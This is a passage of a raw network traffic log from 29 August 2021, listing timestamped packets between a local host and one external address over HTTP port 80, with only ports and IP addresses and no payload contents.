Aug 29, 2021 22:28:55.963515043 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.963649988 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.963761091 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.994774103 CEST	80	50005	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.998481035 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.998522997 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.998548985 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.998573065 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.998595953 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.998702049 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.998765945 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:55.998986959 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.999038935 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:55.999264002 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.035291910 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.035367966 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.035413980 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.035423040 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.035463095 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.035469055 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.035518885 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.035551071 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.035558939 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.035655022 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.035660028 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.035727978 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.035902023 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.036195993 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.036277056 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.036317110 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.036420107 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.036463022 CEST	80	50005	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.036479950 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.036539078 CEST	50005	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.070739031 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.070771933 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.070786953 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.070858955 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.070863008 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.070878983 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.070888996 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.070898056 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.070961952 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.071101904 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.071163893 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.071263075 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.071412086 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.071527958 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.071578979 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.071610928 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.071808100 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.071965933 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.072021008 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.072038889 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.072166920 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.072407007 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.072563887 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.072607994 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.072702885 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.072717905 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.072887897 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.105779886 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.105884075 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.105896950 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.106081963 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.106096029 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.106102943 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.106194019 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.142438889 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.142513990 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.201708078 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.202001095 CEST	50005	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.203020096 CEST	50007	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.235224962 CEST	80	50007	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.235256910 CEST	80	50005	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.235352039 CEST	50007	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.235394001 CEST	50005	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.237068892 CEST	80	50006	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.237164974 CEST	50006	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.250917912 CEST	50007	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.283166885 CEST	80	50007	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.324162006 CEST	80	50007	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.324342966 CEST	50007	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.434510946 CEST	50007	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.435499907 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.466648102 CEST	80	50007	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.466777086 CEST	50007	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.467478037 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.467567921 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.469774008 CEST	50009	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.470244884 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.470324039 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.470479012 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.470551968 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.503252029 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.503288984 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.503324032 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.503353119 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.503377914 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.503417015 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.503443003 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.503452063 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.503479958 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.503513098 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.503551960 CEST	80	50009	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.503577948 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.503607035 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.503685951 CEST	50009	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.511307955 CEST	50009	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.535914898 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.535963058 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.535989046 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.536022902 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.536072016 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.536097050 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.536120892 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.536140919 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.536187887 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.536215067 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.536245108 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.536302090 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.536413908 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.536473036 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.536510944 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.536531925 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.536559105 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.536575079 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.545002937 CEST	80	50009	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.570739031 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.570784092 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.570808887 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.570832014 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.570863008 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.570898056 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.570914030 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.570959091 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.570995092 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.571017027 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.571054935 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.571083069 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.571110964 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.571166992 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.571192980 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.571216106 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.571239948 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.571263075 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.571299076 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.571326971 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.571352005 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.590312004 CEST	80	50009	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.590466976 CEST	50009	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.603791952 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.603837967 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.603863955 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.604899883 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.604927063 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.604950905 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.604974985 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.604999065 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.644303083 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.644473076 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.776983976 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.777194023 CEST	50009	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.778237104 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.809539080 CEST	80	50008	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.809636116 CEST	50008	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.810614109 CEST	80	50009	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.810671091 CEST	50009	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.811361074 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.811429024 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.850095034 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:56.882872105 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.929399014 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:56.929488897 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.057188034 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.061182976 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.061398029 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.061583042 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.090342045 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.093657970 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.093717098 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.093732119 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.093794107 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.093832970 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.093902111 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.093916893 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.093930960 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.093961954 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.094027042 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.126605988 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.126703978 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.126801968 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.126817942 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.126832008 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.126844883 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.126864910 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.126957893 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.127104998 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.128072977 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.143075943 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.159482002 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.159501076 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.159610987 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.159646988 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.159714937 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.159727097 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.159740925 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.159755945 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.159770012 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.159795046 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.159980059 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.160917997 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.160933971 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.177514076 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.177541971 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.192178965 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.192270041 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.192323923 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.192477942 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.192612886 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.221082926 CEST	50011	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.230155945 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.230256081 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.259066105 CEST	80	50011	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.259169102 CEST	50011	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.284671068 CEST	50011	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.320542097 CEST	80	50011	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.367538929 CEST	80	50011	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.367624044 CEST	50011	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.570269108 CEST	50011	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.570533037 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.571538925 CEST	50012	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.575716019 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.602915049 CEST	80	50010	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.602984905 CEST	50010	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.604856014 CEST	80	50012	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.604945898 CEST	50012	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.605397940 CEST	80	50011	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.605473995 CEST	50011	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.606739044 CEST	50012	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.610939980 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.611044884 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.615484953 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.615686893 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.615931034 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.616096020 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.639867067 CEST	80	50012	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.650870085 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.650899887 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.651292086 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.651312113 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.651329994 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.651367903 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.651402950 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.651489973 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.651504993 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.651556969 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.651572943 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.683044910 CEST	80	50012	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.683121920 CEST	50012	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.686803102 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.686825991 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.686894894 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.686924934 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.686996937 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.687062979 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.687077045 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.687100887 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.687155962 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.687160015 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.687171936 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.687225103 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.723026037 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.723078012 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.723087072 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.723103046 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.723124981 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.723176003 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.723217964 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.723325014 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.723340034 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.723349094 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.723383904 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.723401070 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.759100914 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.759155989 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.759181023 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.759198904 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.759215117 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.795794964 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.795862913 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.862530947 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.862914085 CEST	50012	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.864361048 CEST	50014	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.895978928 CEST	80	50014	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.896117926 CEST	50014	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.896182060 CEST	80	50012	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.896267891 CEST	50012	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.897902012 CEST	80	50013	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:57.897983074 CEST	50013	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.938375950 CEST	50014	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:57.970792055 CEST	80	50014	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.010979891 CEST	80	50014	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.011075974 CEST	50014	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.108321905 CEST	50014	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.109462976 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.140444040 CEST	80	50014	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.140527010 CEST	50014	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.144900084 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.144988060 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.157483101 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.157567978 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.157725096 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.157802105 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.176656961 CEST	50016	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.192735910 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.192893028 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.193109035 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.193123102 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.193135023 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.193156004 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.193186045 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.193290949 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.193305016 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.193351030 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.193373919 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.212239027 CEST	80	50016	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.212342024 CEST	50016	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.227839947 CEST	50016	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.228673935 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.228740931 CEST	50015	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:28:58.228804111 CEST	80	50015	46.17.96.36	192.168.2.4
Aug 29, 2021 22:28:58.228817940 CEST	80	50015	46.17.96.36	192.168.2.4
